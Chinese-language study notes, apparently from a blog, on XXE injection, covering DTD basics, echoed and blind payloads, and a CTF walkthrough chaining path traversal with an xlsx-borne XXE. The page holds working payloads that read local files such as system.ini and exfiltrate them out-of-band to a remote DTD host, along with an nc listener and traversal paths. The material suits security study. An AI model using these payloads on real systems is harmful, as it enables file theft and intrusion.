XXE漏洞学习笔记
XXE
参考文章
名称 | 地址 |
---|---|
一篇文章带你深入理解漏洞之 XXE 漏洞 | https://xz.aliyun.com/t/3357 |
Web Hacking 101 | https://wizardforcel.gitbooks.io/web-hacking-101/content/14.html |
XXE学习之路STEP BY STEP | https://www.freebuf.com/column/156863.html |
XXE漏洞学习 | https://www.cnblogs.com/zhaijiahui/p/9147595.html |
从XML相关一步一步到XXE漏洞 | https://xz.aliyun.com/t/6887 |
Blind XXE经典payload引发的脑洞 | http://gv7.me/articles/2018/think-about-blind-xxe-payload/ |
看完以上文章,下面内容的可以忽略了
下文中为了简便,使用 //
代表注释,实际上注释符为 <!-- xxxx -->
XML/DTD
XML(可扩展标记语言):一种标记语言,类似于HTML,设计用来传输和存储数据。
DTD(文档类型定义):定义 XML 文档的合法构建模块。简单来说就是规定 XML 的内容、格式
DTD示例:test.dtd
文件
<!ELEMENT person (name,sex,age,hobby)> //定义了根元素 person,以及子元素 name、sex、age、hobby
<!ELEMENT name (#PCDATA)> // 此处的 #PCDATA 代表 字符数据,是会被解析器解析的文本,这些文本将被解析器检查实体以及标记。
<!ELEMENT sex (#PCDATA)>
<!ELEMENT age (#PCDATA)>
<!ELEMENT hobby (#PCDATA)>
对应XML示例:test.xml
文件
<?xml version="1.0"?> //声明 XML 版本
<!DOCTYPE test SYSTEM "test.dtd"> //引用外部 DTD 实体,即外部声明
<person> //以下的标签都已在test.dtd文件中定义
<name>R0oKi3</name>
<sex>male</sex>
<age>unknow</age>
<hobby>female</hobby>
</person>
当然也可以将两个文件内容写到一起:combination.xml
文件
写法稍有区别
<?xml version="1.0"?>
<!DOCTYPE test [ //内部声明
<!ELEMENT person (name,sex,age,hobby)>
<!ELEMENT name (#PCDATA)>
<!ELEMENT sex (#PCDATA)>
<!ELEMENT age (#PCDATA)>
<!ELEMENT hobby (#PCDATA)>
]>
<person>
<name>R0oKi3</name>
<sex>male</sex>
<age>unknow</age>
<hobby>female</hobby>
</person>
实体:
1.内部实体
<!ENTITY 实体名称 "实体的值">
2.外部实体,注意不要跟引用外部文件<!DOCTYPE test SYSTEM "test.dtd">
搞混淆了
<!ENTITY 实体名称 SYSTEM "URI">
其中 URL 处还可使用各种协议,例如
<!ENTITY test SYSTEM "file:///c:/windows/system.ini">
<!ENTITY test SYSTEM "http://www.evil.com/evil.dtd">
<!ENTITY test SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/system.ini" >
各种环境中的协议有:
libxml2 | PHP | JAVA | .NET |
---|---|---|---|
file | file | file | file |
ftp | ftp | ftp | ftp |
http | http | http | http |
php | |||
https | https | ||
compress.zlib | jar | ||
compress.bzips | netdoc | ||
data | mailto | ||
glob | gopher * | ||
phar |
3.通用实体
用 &实体名;
引用的实体,他在 DTD 中定义,在 XML 文档中引用
定义:<!ENTITY name "value">
,引用:&name;
示例代码:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [<!ENTITY info "hacked by xxe"> ]> //注意,此时是 ENTITY 而不是 ELEMENT
<test>
&info; //这里的 &info; 在解析的时候会替换成为 "hacked by xxe"
</test>
4.参数实体:
(1)使用 % 实体名;
(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名;
引用
(2)只有在 DTD 文件中,参数实体的声明才能引用其他实体
(3)和通用实体一样,参数实体也可以外部引用
定义:
<!ENTITY % 实体名称 “实体的值”>
或者
<!ENTITY % 实体名称 SYSTEM “URI”>
引用:%test;
示例代码:
<!ENTITY % an-element "<!ELEMENT mytag (subtag)>">
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd">
%an-element; //解析之后成为 <!ELEMENT mytag (subtag)>,此时会将其识别为一个定义元素标签的代码,而不是简单的字符串
%remote-dtd; //解析之后获取远程的 dtd 文件,就跟 html 中引入外部 js 文件差不多,会执行外部文件里的内容
XXE示例
为什么会出现 XXE 漏洞?问题就出在可以引用外部实体(文件)上面。
情况一:有网页回显
方法:直接冲
当传入的 XML 代码为以下内容时:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE hack [
<!ENTITY info SYSTEM "file:///c:/windows/system.ini"> ]>
<hack>&info;</hack>
在有网页回显的地方,会将 c:/windows/system.ini 文件内容进行输出。
但是当改文件中出现一些特殊字符,如 <、 >、 / 、<script>
等,在解析时会报错,因为此时的<hack>&info;</hack>
变成了<hack> <、 >、 / 、<script> </hack>
,解析出错
解决办法:
1.用 实体引用 代替特殊字符,例如将 <
替换成 <
。当然在进行 XXE 攻击的时候显然不可能,你的目标不可能这么贴心,自动帮你编码
2.使用 CDATA
包裹
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///c:/windows/system.ini">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://ip/evil.dtd"> //可以将这个文件放在远程主机上面
%dtd; ]>
<roottag>&all;</roottag> //此时在解析完参数实体之后,&all; 就代表着 <![CDATA[ c:/windows/system.ini 文件的内容 ]]>,即使文件里有特殊字符也没关系
evil.dtd 文件
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%goodies;%end;">
情况二:无回显
方法:间接冲
由于 xml 可以发起网络请求,于是便可以将数据外带出去
远程 vps 上的 test.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/system.ini">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://127.0.0.1/msg/getmsg.php?msg=%file;'>">
传输的 xml payload
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE TEST [
<!ENTITY % remote SYSTEM "http://127.0.0.1/msg/test.dtd">
%remote;%int;%send;
]><TEST/>
至于为什么一定要借助远程vps上的dtd文件,大致原因是不能在实体定义中引用参数实体,即有些解释器不允许在内层实体中使用外部连接,无论内层是一般实体还是参数实体。
XXE还可以干什么
内网主机探测、内网主机端口扫描、文件上传等等,点击传送门
存在 XXE 漏洞的点
一般传简历、个人信息的地方
抓包看数据中有没有用标签包裹的数据
CTF题复现----javafile
题目地址:2020网鼎杯青龙组javafile
1.首先打开网页,有一个上传功能,任意上传一个文件,跳转到下载页,点击下载,抓包,发现存在目录穿越,任意文件下载
2.通过报错发现网页绝对路径 /usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml
3.通过绝对路径下载配置文件 web.xml /usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<servlet>
<servlet-name>DownloadServlet</servlet-name>
<servlet-class>cn.abc.servlet.DownloadServlet</servlet-class> //第一个类class
</servlet>
<servlet-mapping>
<servlet-name>DownloadServlet</servlet-name>
<url-pattern>/DownloadServlet</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>ListFileServlet</servlet-name>
<servlet-class>cn.abc.servlet.ListFileServlet</servlet-class> //第二个类class
</servlet>
<servlet-mapping>
<servlet-name>ListFileServlet</servlet-name>
<url-pattern>/ListFileServlet</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>UploadServlet</servlet-name>
<servlet-class>cn.abc.servlet.UploadServlet</servlet-class> //第三个类class
</servlet>
<servlet-mapping>
<servlet-name>UploadServlet</servlet-name>
<url-pattern>/UploadServlet</url-pattern>
</servlet-mapping>
</web-app>
4.下载三个类文件
../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/DownloadServlet.class
../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/ListFileServlet.class
../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/UploadServlet.class
5.jd-gui-1.6.6.jar进行反编译class文件
jd-gui-下载地址
6.1 首先在 DownloadServlet.class 的源代码发现
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String fileName = request.getParameter("filename");
fileName = new String(fileName.getBytes("ISO8859-1"), "UTF-8");
System.out.println("filename=" + fileName);
if (fileName != null && fileName.toLowerCase().contains("flag")) {
request.setAttribute("message", ");
request.getRequestDispatcher("/message.jsp").forward((ServletRequest)request, (ServletResponse)response);
return;
}
表明这里不能下载文件名带 flag 字符串的文件,这也就解释了既然存在任意文件下载为什么不直接下载 flag 文件
6.2 然后看到 UploadServlet.class
if (filename.startsWith("excel-") && "xlsx".equals(fileExtName))
try {
Workbook wb1 = WorkbookFactory.create(in);
Sheet sheet = wb1.getSheetAt(0);
System.out.println(sheet.getFirstRowNum());
} catch (InvalidFormatException e) {
System.err.println("poi-ooxml-3.10 has something wrong");
e.printStackTrace();
}
大佬说可能是Apache POI XML外部实体漏洞
然后我们便可以构造 XXE 漏洞,注意代码里面规定了文件名格式,以 excel- 开头,并且是 xlsx 类型文件
7.利用 xlsx 文件构成远程 xxe
新建一个 excel-xxe.xlsx 文件,解压
修改解压后的 [Content_Types].xml 文件的内容为:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE TEST [
<!ENTITY % remote SYSTEM "http://127.0.0.1/msg/test.dtd">
%remote;%int;%send;
]><TEST/>
远程 vps 上的 test.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/system.ini">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://127.0.0.1/msg/getmsg.php?msg=%file;'>">
然后再给压缩还原一下成 excel-xxe.xlsx
注意点:由于buu上的靶机不能访问外网,所以要用buu提供的 frps 服务器,请看具体教程
8.在 vps 上启动监听 nc -lvvp 6666
9.上传 excel-xxe.xlsx 文件,查看nc监听结果,得到flag
为什么老是要在远程主机上弄一个 dtd 文件
- 解决办法
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini">
<!ENTITY % all "<!ENTITY send 'http://127.0.0.1/?%file;'>">
%all;
]>
<roottag>&send;</roottag>
XXE漏洞学习笔记的更多相关文章
- FastJson远程命令执行漏洞学习笔记
FastJson远程命令执行漏洞学习笔记 Fastjson简介 fastjson用于将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean.fastjson.ja ...
- XXE漏洞学习
0x00 什么是XML 1.定义 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据.定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言.XML文档结构包括XML声明.DTD文 ...
- XSS漏洞学习笔记
XSS漏洞学习 简介 xss漏洞,英文名为cross site scripting. xss最大的特点就是能注入恶意的代码到用户浏览器的网页上,从而达到劫持用户会话的目的. 说白了就是想尽办法让你加载 ...
- Office DDE漏洞学习笔记
1.前言 2017年下半年爆发出来的Office漏洞,一直没有空做笔记记录.在病毒分析中也看到有利用这个漏洞的样本,针对Office系列软件发起的钓鱼攻击和APT攻击一直是安全攻防的热点. 2.off ...
- XXE漏洞学习1
1.test.xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE ANY [ <! ...
- Python 反序列化漏洞学习笔记
参考文章 一篇文章带你理解漏洞之 Python 反序列化漏洞 Python Pickle/CPickle 反序列化漏洞 Python反序列化安全问题 pickle反序列化初探 前言 上面看完,请忽略下 ...
- [Web安全] XXE漏洞攻防学习(中)
0x00.XXE漏洞攻击实例 攻击思路: 1. 引用外部实体远程文件读取 2. Blind XXE 3. Dos 0x01.外部实体引用,有回显 实验操作平台:bWAPP平台上的XXE题目 题目: 进 ...
- CVE-2018-2628 weblogic WLS反序列化漏洞--RCE学习笔记
weblogic WLS 反序列化漏洞学习 鸣谢 感谢POC和分析文档的作者-绿盟大佬=>liaoxinxi:感谢群内各位大佬及时传播了分析文档,我才有幸能看到. 漏洞简介 漏洞威胁:RCE-- ...
- ADO学习笔记之注入漏洞与参数化查询
ADO学习笔记之注入漏洞与参数化查询 作为新手,在学习ADO程序时,使用 sql 语言查询数据时,很容易写类似如下代码: using (SqlConnection con = new SqlConne ...
随机推荐
- C#程序员装机必备软件及软件地址
装机必备 Visio2010 下载 http://gd.ddooo.com/visio2010_12530.rar Office 安装包 http://xz.cncrk.com:8080/soft/k ...
- VIM的常用快捷方式(尽量简洁,删去能组合实现的且不易记的)
vi可以分为三种状态,分别是一般模式.编辑模式和命令行模式 1一般模式:以vi打开一个文件就直接进入一般模式了(这是默认的模式).在这个模式中, 你可以使用上下左右按键来移动光标,你可以使用删除字符或 ...
- Android仿支付宝高顶部功能条伸缩动画
参考:https://blog.csdn.net/aqi00/article/details/72621176
- Hexo 静态博客指南:建站教程(中)
本文最初发布于我的个人博客Bambrow's Blog,采用 BY-NC-SA 许可协议,转载请注明出处.若有后续更新,将更新于原博客.欢迎去我的博客阅读更多文章! 本文详细记录一下站点建立过程,以便 ...
- 7.9 NOI模拟赛 C.走路 背包 dp 特异性
(啊啊啊 什么考试的时候突然降智这题目硬生生没想出来. 容易发现是先走到某个地方 然后再走回来的 然后在倒着走的路径上选择一些点使得最后的得到的最多. 设\(f_{i,j}\)表示到达i这个点选择的价 ...
- ABC E - Active Infants 贪心 dp
LINK:Active Infants 一个快省选的人 还在写ABC(莫名觉得丢人 不过也无所谓了. 首先考虑 随便一个排列 我们考虑一下其是不是最优的 容易发现如果最大值没有在边界上的话我们直接把它 ...
- 实战:docker搭建FastDFS文件系统并集成SpringBoot
实战:docker搭建FastDFS文件系统并集成SpringBoot 前言 15年的时候,那时候云存储还远远没有现在使用的这么广泛,归根结底就是成本和安全问题,记得那时候我待的公司是做建站开发的,前 ...
- Pr剪辑
目录 Pr剪辑教程 入门基础 创建序列类别 处理非正常序列 导出文件 导出设置 导入各类别素材 简单使用: 剪辑素材常用方法 剃刀工具 选择工具 波纹编辑工具 打入点和出点 剪辑速度 整个素材视频速度 ...
- MR程序的几种提交运行模式
本地模式运行 1-在windows的eclipse里面直接运行main方法 将会将job提交给本地执行器localjobrunner 输入输出数据可以放在本地路径下 输入输出数据放在HDFS中:(hd ...
- 使用pytorch快速搭建神经网络实现二分类任务(包含示例)
使用pytorch快速搭建神经网络实现二分类任务(包含示例) Introduce 上一篇学习笔记介绍了不使用pytorch包装好的神经网络框架实现logistic回归模型,并且根据autograd实现 ...